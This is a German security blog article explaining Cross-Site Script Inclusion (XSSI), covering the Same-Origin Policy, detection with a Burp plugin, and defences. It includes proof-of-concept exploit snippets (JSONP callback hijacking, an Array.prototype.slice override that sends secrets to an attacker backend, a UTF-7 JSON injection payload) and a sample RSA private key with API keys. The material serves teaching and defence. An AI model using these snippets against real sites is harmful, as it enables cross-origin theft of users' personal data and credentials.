Cross-Site Script Inclusion - Ein unbekannter Schwachstellentyp

Cross-Site Script Inclusion

Ein unbekannter Schwachstellentyp

Veit Hailperin
von Veit Hailperin
am 14. April 2016
Lesezeit: 21 Minuten

Die OWASP Top 10 – die, laut dem Open Web Application Security Project, zehn häufigsten verbreitetsten Schwachstellen im Web – kennt fast jeder. Und wer sie nicht kennt, hat zumindest von den OWASP Top 10 gehört. Das ist gut, denn dadurch wurde in den vergangenen Jahren das Bewusstsein von sowohl Testern, Entwicklern als auch Kunden gestärkt. Allerdings hat die Liste auch eine Schattenseite: Nämlich alles, was nicht in eine der zehn Kategorien fällt, fällt unter den Tisch. Aber nur weil Schwachstellen nicht in den Top 10 sind, heisst es nicht, dass ihre Auswirkungen geringer sind. Eine Kategorie von Schwachstellen, die so ein Dasein fristet, ist Cross-Site Script Inclusion (XSSI). Dieser Artikel beschreibt, wie dieser Schwachstellentypus definiert ist, wie man ihn in einem Web Audit findet und wie man ihn ausnutzt.

Hintergrund

Zu Beginn werden wir die Begriffe Origin und Same-Origin Policy (SOP) klären. Wer sich damit gut auskennt, kann diesen Abschnitt guten Gewissens überspringen.

Das Konzept Origin und der darauf basierende Sicherheitsmechanismus zur Isolation von Webinhalten, der Same-Origin Policy, wurde parallel zu JavaScript von Netscape eingeführt. Mit SOP wird definiert, wie Dokumente miteinander interagieren dürfen: Zwei Dokumente dürfen aufeinander zugreifen, wenn sie vom gleichen Origin (dt. Quelle) stammen. Sie stellt die Grundlage von Websecurity dar. Die Origin wird von den meisten Browsern als Port, Hostname und Protokoll definiert. Die Ausnahme bildet Microsoft Internet Explorer, der den Port nicht einbezieht. Dies hat natürlich seine eigenen (sicherheitstechnischen) Implikationen. Die folgende Tabelle stammt aus dem Dokument Same-origin policy der Mozilla Foundation und gibt eine Übersicht der meist verwendeten SOP am Beispiel der URL http://store.company.com/dir/page.html:

URLResultatGrund
http://store.company.com/dir2/other.htmlErfolg-
http://store.company.com/dir/inner/another.htmlErfolg-
https://store.company.com/secure.htmlFehlerAnderes Protokoll
http://store.company.com:81/dir/etc.htmlFehlerAnderer Port
http://news.company.com/dir/other.htmlFehlerAnderer Host

Da grundsätzlich keine Einigkeit darüber besteht, wie Dokumente miteinander agieren sollen dürfen, ist die Isolation von Inhalten ein buntes Wirrwarr. Ein kompletter Artikel widmet sich diesem Sachverhalt im Buch Tangled Web – Der Security-Leitfaden für Webentwickler von Security Researcher Michal Zalewski und dessen deutsche Übersetzung und Erweiterung von Cure53s Mario Heiderich.

XSSI

Cross-Site Script Inclusion (XSSI), zu Deutsch etwa Webseite-übergreifendes Einbinden von Skripten, ist eine Art von Schwachstelle, bei der ausgenutzt wird, dass die SOP beim Einbinden von Skripten mittels script nicht greift, da Script-Dateien per Definition cross-origin (dt. quellübergreifend) eingebunden werden können müssen. Ein Angreifer kann somit alles, was in einer Script-Datei steht, auslesen.

Dies ist insbesondere spannend mit dynamischem JavaScript und wenn sogenannte Ambient-Authority Informationen wie Cookies zur Authentisierung verwendet werden. Sendet man eine Anfrage an die Seite, werden die Cookies, wie auch bei einem Cross-Site Request Forgery (CSRF), mitgeschickt. Erwähnt wird diese Schwachstelle in einer Fussnote in Tangled Web. Sebastian Lekies et al. haben diese Fussnote in ihrem Paper The Unexpected Dangers of Dynamic JavaScript ausgeführt.

XSSI können, abhängig von den sensitiven Daten im Script, auf verschiedene Arten missbraucht werden. Sensitive Daten, welche man häufig sieht, sind detaillierte persönliche Informationen wie E-Mailadresse, Anschrift, Geburtsdatum etc., aber auch Tokens, Session IDs und andere Identifikatoren wie User ID. Die leichteste Art davon zu profitieren, ist zu überprüfen, ob ein Benutzer angemeldet ist (Login Oracle). Allerdings kann die gewonnene Information auch für Social Engineering Angriffe missbraucht werden oder man verwendet es für applikationsspezifische Attacken.

Abgrenzung zu XSS und CSRF

XSSI sind vom Namen her verwandt mit Cross-Site Scripting (XSS) und von der Beschreibung sind sie nahe an Cross-Site Request Forgery (CSRF). Die Gemeinsamkeit von XSS, CSRF und XSSI ist, dass alles drei Client-Attacken sind.

Der Unterschied zu XSS ist einfach: Bei XSS wird eigener JavaScript-Code auf einer fremden Seite platziert. Bei einem XSSI wird fremder JavaScript Code in die eigene Webseite eingebunden. Oberflächlich sehen CSRF und XSSI ähnlich aus, da in beiden Fällen eine Anfrage an eine andere Domain geschickt und im Kontext eines angemeldeten Benutzers ausgeführt wird. Bei der Abgrenzung zu CSRF ist der entscheidende Unterschied das Ziel des Angriffs. Bei CSRF möchte man als Angreifer eine Aktion im Namen des Benutzers ausführen, wie z.B. bei einer Online Banking-Applikation eine Überweisung. Bei einem XSSI möchte man hingegen über die Origingrenze hinaus Daten abfliessen lassen, um anschliessend eine der oben aufgeführten Angriffe oder andere Attacken auszuführen.

Suchen, Finden und Ausnutzen

Bei der Suche nach XSSI müssen verschiedene Situationen unterschieden werden, die Ausnutzung dieser Verwundbarkeit ist teilweise ähnlich oder sogar gleich (analog zu Reflected-XSS und Stored-XSS). Wir unterscheiden vier Situationen:

  1. Statische JavaScript-Datei (Reguläre XSSI)
  2. Statische JavaScript-Datei, welche aber nur authentisiert erreichbar ist
  3. Dynamisches JavaScript
  4. Nicht JavaScript-Dateien

Reguläre XSSI

Als reguläre XSSI werden alle Fälle betrachtet, bei denen ein statisches Script bereits sensitive Daten beinhaltet. Im ersten Fall – sensiblen Daten in statischen JavaScript-Dateien – ist die Erkennung nur durch Lesen der Dateien möglich. Hat man allerdings eine solche Situation identifiziert, so kann man dies in den meisten Fällen sehr leicht ausnutzen. Wenn zum Beispiel der sensible Inhalt in einer globalen Variable steht (Beispiel aus der Praxis, Keys wurden ersetzt):

var privateKey = "-----BEGIN RSA PRIVATE KEY-----\
MIIEpQIBAAKCAQEAxaEY8URy0jFmIKn0s/WK6QS/DusEGRhP4Mc2OwblFQkKXHOs\
XYfbVmUCySpWCTsPPiKwG2a7+3e5mq9AsjCGvHyyzNmdEMdXAcdrf45xPS/1yYFG\
0v8xv6QIJnztMl18xWymaA5j2YGQieA/UNUJHJuvuvIMkZYkkeZlExszF2fRSMJH\
FUjnFNiYt0R8agdndexvuxFApYG40Hy6BJWgKW3NxowV9XbHOaDvX+3Bal5tbtrM\
IzqTptgldzMGs73bJ+7nUqyv7Dicbn1XD4j9XBYy+FOBhVagSztqMFpOFcfAK7Er\
sorY0yWN6aBobtENBUPkeqGiHxBAQ42ki9QkUwIDAQABAoIBAQCThrBx2iDEW2/b\
TkOG2vK5A3wEDNfgS8/FAbCv23PCgh8j6I1wvGu1UG4F8P6MoXO9dHN14PjOvQ7m\
M5Dd82+A4K0wUfn3fnaqs0zByXkqrdSSeVh/RVTDtBUJdhQylqr/TR3ja2qKATf+\
VFGva3gDzQwfR3SucSAXcZ9d5d37x4nzFRa8ogNxxkCUy1PYHqnIpB/4MsOL8f0S\
F5LR+u/F67GKFzGZXyh1i/tgIHZCOvftmj2DLx/1EoZyiLSnMABt7XmztIqYXTJG\
TnXi8ix4vkwUENfveZb9yKrdmrPGITi+f5FYDlyjeSXZYZqAGhSjI69juNn36gCa\
6Idt7I3xAoGBAOenoayBlmGEsWDGL8/XuAUlsceGRSoQ/MrGqx7LSgvkROYDyAfE\
Db8vfy6f/qf9OI1EHwzu8QYnwKh8D0zldz9xl9Fwx4k1EIcD2BjTiJMBBk0FeybO\
sqe4UwGzJvsTmfhlhJ4zZYLi1wMmkt1q1sMm9gb55nfTUDH8lzWJE/mFAoGBANpm\
DcmcaUsSXkbBbmHZiV07EW4BUBpleog6avcNOcdGcylvDs17IwG28toAtOiJqQ/F\
qnOqkQ73QXU7HCcmvQoX/tyxJRg/SMO2xMkYeHA+OamMrLvKgbxGLPG5O9Cs8QMl\
q944WOrNhSfBE+ghPz4mpBbAxOOw0SoUYwCd52H3AoGAQnTLo8J1UrqPbFTOyJB5\
ITjkHHo/g0bmToHZ+3aUYn706Quyqc+rpepJUSXjF2xEefpN8hbmHD7xPSSB+yxl\
HlVHGXWCOLF5cVI//zdIGewUU6o73zEy/Xyai4VKrIK+DA2LkxrphzfuOOArB8wr\
mkamE/BDFqMPgZeWBWyyx0UCgYEAg9kqp7V6x6yeJ98tEXuv9w3q9ttqDZWIBOgn\
nWBpqkl4yuHWMO0O9EELmdrlXKGG5BO0VMH7cuqIpQp7c5NqesaDwZ5cQ6go+KbF\
ZJYWV8TpMNfRjEm0SwKerYvjdZaCpiC/AphH7fEHWzmwF+rCcHYJiAb2lnMvw1St\
dDjf8H8CgYEA4US7hhi1B2RDSwmNGTTBlGpHqPN73gqx2uOb2VYQTSUA7//b3fkK\
pHEXGUaEHxxtEstSOUgT5n1kvo+90x3AbqPg6vAN4TSvX7uYIWENicbutKgjEFJi\
TpCpdZksy+sgh/W/h9T7pDH272szBDo6g1TIQMCgPiAt/2yFNWU6Hks=\
-----END RSA PRIVATE KEY-----",
    keys = [
      { name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
      { name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
    ];

so kann man einfach die Datei in die eigene Seite einbinden und die Variable auslesen:

<html>
  <head>
    <title>Regular XSSI</title>
    <script src="https://www.vulnerable-domain.tld/script.js"></script>
  </head>
  <body>
    <script>
      alert(JSON.stringify(keys[0]));
    </script>
  </body>
</html>

Der erste API key

Dynamic-JavaScript-based-XSSI und Authenticated-JavaScript-XSSI

Diese beiden Klassen haben verschiedene technische Hintergründe, welche aber für Tester irrelevant sind. Die Art sie zu finden und auszunutzen, ist nämlich angenehmerweise gleich. Hierfür habe ich ein Burp Plugin mit dem Namen DetectDynamicJS geschrieben. Dieses Plugin ist dafür gedacht, Web Application Penetration Tester während einer Analyse bei der Suche nach XSSI zu unterstützen.

Alle Script-Dateien werden einem passive Scan unterzogen. Dieser fordert daraufhin das Script erneut an, diesmal ohne Cookies mitzuschicken. Die daraufhin erhaltene Datei wird mit dem Original verglichen und falls es Abweichungen gibt, werden diese als Finding mit Stufe Information im Target Tab aufgelistet. Der Grund für Information ist, dass dynamisches JavaScript nicht zwingend ein Sicherheitsrisiko darstellt. Dynamisches JavaScript zu verwenden hat mehrere gute Gründe wie z.B. Benutzerdaten zu verarbeiten, Service Bootstrapping, Setzen der notwendigen Variablen einer komplexen Applikation und Daten mit anderen Diensten teilen (z.B. Tracking).

Das Finding

Damit das Plugin weiss, welche Dateien gescannt werden sollen und welche nicht, wird ein Filter eingesetzt. Dieser ist Gegenstand aktueller Forschung und wird kontinuierlich weiterentwickelt. Momentan überprüft der Filter die Dateiendung auf .js, .jsp und .json. An sich ist .json für ein Script keine gültige Dateiendung, aber das hält manche Webentwickler nicht davon ab, es zu missbrauchen.

Damit auch solche Fälle abgedeckt werden, wird die Endung ebenfalls in der Liste geführt. Damit False Positives reduziert werden, wird bei der Originaldatei überprüft, ob das erste Zeichen ein { ist. Dies kann momentan keine gültige Script-Syntax sein. Überprüft wird auch der Content-Type-Header nach Strings wie javascript, jscript, ecmascript und json. Den nicht eingehaltenen Standards sei Dank. Auch verwendet der Filter Burp Suites eigene MimeType-Erkennungsmöglichkeiten. Falls script in dem stateMimeType oder dem inferredMimeType steht, wird es ebenfalls gescannt. Manche dieser Filter sind doppelt, aber die Erfahrung zeigt, dass Filterverschlankungskuren hin und wieder zu False Negatives führen. Damit die fehlerhafte Erkennungen zusätzlich eingeschränkt werden, wird bei der Originaldatei zusätzlich vorausgesetzt, dass der HTTP Response Code nicht aus der 300er Familie (Weiterleitungen, etc.) stammt. Die False Positives könnten weiter eingeschränkt werden, indem ein dritter Request geschickt wird.

Markierte Abweichung im Original

Exploiting

XSSI kann in einem Kontext der Authentisierung weiterhin für das Stehlen von Keys etc. gebraucht werden. Die Möglichkeiten für Missbrauch sind in erster Linie durch die Kreativität der Entwickler begrenzt. Wir wollen hier ein paar klassische Fälle mit Beispielen aufzeigen, so dass sie leicht nachzuvollziehen sind.

angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})

auf. Um am die Informationen zu gelangen, muss die Funktion _7 überschrieben werden.

<script>
      var angular = function () { return 1; };
      angular.callbacks = function () { return 1; };      
      angular.callbacks._7 = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

Das geleakte JSON

Dies funktioniert auch mit globalen Funktionen. In diesem Fall ist das Überschreiben der Funktion allerdings gar nicht notwendig. Eine einfachere Methode ist dem Callback eine eigene Methode zu übergeben.

<script>
      leak = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
(function(){
  var arr = ["secret1", "secret2", "secret3"];
  // intents to slice out first entry
  var x = arr.slice(1);
  ...
})();

Die Funktion greift auf die slice Funktion des Typen Array zu. Ein Angreifer kann, wie vorgehend beschrieben, slice überschreiben und die Geheimnisse stehlen:

Array.prototype.slice = function(){
  // leaks ["secret1", "secret2", "secret3"]
  sendToAttackerBackend(this);
};

Security Researcher Sebastian Lekies hat Anfang des Monats seine Sammlung an Beispielen auch noch erweitert. Man findet sie unter http://sebastian-lekies.de/leak/.

NoScript-XSSI

Takeshi Terada beschreibt in seinem Paper Identifier based XSSI attacks eine weitere Kategorie von XSSI. Ihm gelang es, Text aus Nicht-JavaScript-Dateien Cross-Origin abfliessen zu lassen, indem er u.a. CSV-Dateien als src im script-Tag einband und die eingelesenen Daten als Variablen- oder Funktionsnamen verwendete.

Andere dokumentierte Angriffe gehen bis 2006 zurück. Jeremiah Grossmans Artikel Advanced Web Attack Techniques using GMail beschreibt ein XSSI, bei dem durch Überschreiben des Array Constructors, das komplette Adressbuch eines Google Kontos ausgelesen werden konnte.

2007 schrieb Joe Walker den Artikel JSON is not as safe as people think it is. Darin zeigte er, dass auch JSON, welches in einem Array abgelegt wird, auf die gleiche Art gestohlen werden kann. Weitere Angriffe wurden beispielsweise durchgeführt, indem eigener Content in JSON eingeführt wurde.

Gareth Heyes, Autor von Hackvertor, beschreibt in dem Artikel JSON Hijacking von 2011 einen Vektor, bei dem die Injection UTF-7 kodiertet war und damit aus der JSON-Struktur ausbrechen kann. Bei einem Schnelltest funktionierte der letzte Angriff von aktuellen Browsern nur in Microsoft Internet Explorer und Edge.

JSON mit UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Verwendung in der Seite eines Angreifers

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>

Schutz gegen XSSI

Für Programmierer gilt: Grundsätzlich sollte es vermieden werden, sensitive Daten in JavaScript-Dateien unterzubringen. Dies gilt insbesondere für die Angriffe aus der Kategorie 1 bis 3. Kategorie 4 wird häufig browserseitig abgefangen. Aber auch da sollten Benutzereingaben, welche in JSON-Dateien gespeichert und daraus wieder ausgelesen werden, sauber gefiltert werden.

Der Grossteil der Bugs, die im Paper von Takeshi Terada beschrieben wurden, sind gefixt. Allerdings existiert die Möglichkeit immer, dass neue, ähnliche Bugs gefunden werden. Diese können zumindest teilweise verhindert werden, indem die Browser dazu angehalten werden, nicht von alleine den Content-Type zu erraten. Manche Browser können per Response Header X-Content-Type-Options: nosniff angewiesen werden, dies zu unterlassen. Der X-Content-Type-Options-Header ist aber wie das x- unschwer verrät, bisher noch kein Standard. Ein CSV welches als Quelle für script angegeben wird, wird somit nicht als Script interpretiert. Ein korrekter Content-Type ist natürlich auch hilfreich beim Verhindern von XSSI.

Über den Autor

Veit Hailperin

Veit Hailperin arbeitet seit 2010 im Bereich der Informationssicherheit. Seine Forschung konzentriert sich auf Network und Application Layer Security sowie auf den Schutz der Privatsphäre. Die Resultate präsentiert er an Konferenzen.

Links

Haben Sie Interesse an einem Penetration Test?

Unsere Spezialisten kontaktieren Sie gern!

×
Crypto-Malware

Crypto-Malware

Ahmet Hrnjadovic

TIBER-EU Framework

TIBER-EU Framework

Dominik Altermatt

Vertrauen und KI

Vertrauen und KI

Marisa Tschopp

Datenverschlüsselung in der Cloud

Datenverschlüsselung in der Cloud

Tomaso Vasella

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv